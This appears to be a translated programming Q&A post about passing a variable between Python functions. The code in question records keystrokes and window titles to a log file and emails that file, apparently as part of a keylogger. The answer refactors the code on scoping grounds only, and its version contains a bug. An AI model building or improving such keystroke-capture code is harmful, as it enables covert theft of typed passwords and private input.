Use variable of a function in another python function

0

I want to pull what's in the 'file' variable in the 'function' function and play in the 'send_email' function filename, how can I do that?

def function(event):
            arquivo = open('log.txt', 'a')
            global janela
            if event.WindowsName != janela:
                janela = event.WindowsName
                arquivo.write('\n'+janela+' - ' + str(event.Time) + '\n')
            arquivo.write(chr(event.Ascii))
            arquivo.close()

def send_email():
        body = 'Logs file uploaded successfully!'
        msg.attach(MIMEText(body,'plain'))
        filename=arquivo
        attachment = open(filename,'rb')
    
asked by anonymous 06.06.2018 / 01:43

1 answer

3

Avoid using unnecessary global variables. This only harms your application, especially when you need to maintain it, because a variable can magically change its value from one line to another because a function somewhere in the project has imported it from the global scope and changed it. If many functions do this, then you probably will not know until the function that did it.

As two extremely simple functions, the best way is to import to the local scope of the function through the function's arguments.

def function(event, janela):
    arquivo = open('log.txt', 'a')
    with open(arquivo, 'a') as stream:
        if event.WindowsName != janela:
            janela = event.WindowsName
            stream.write('\n'+janela+' - ' + str(event.Time) + '\n')
        stream.write(chr(event.Ascii))
    return janela

def send_email(arquivo, msg):
    body = 'Logs file uploaded successfully!'
    msg.attach(MIMEText(body,'plain'))
    attachment = open(arquivo, 'rb')

In the send_email function there is still this msg object that magically appeared in your code, so include as argument as well. By the way, when you start to depend a lot on needing to change the global scope in functions, clearly it's a clue you need to create a class to act as this scope and retain the state you want between function calls.

But a priori, consider that every time you use a global variable a panda dies in China - and we all like pandas (Firefox is not so badly used). Do this at least until you are fully aware of what you are doing and really understand the need.

    
06.06.2018 / 02:22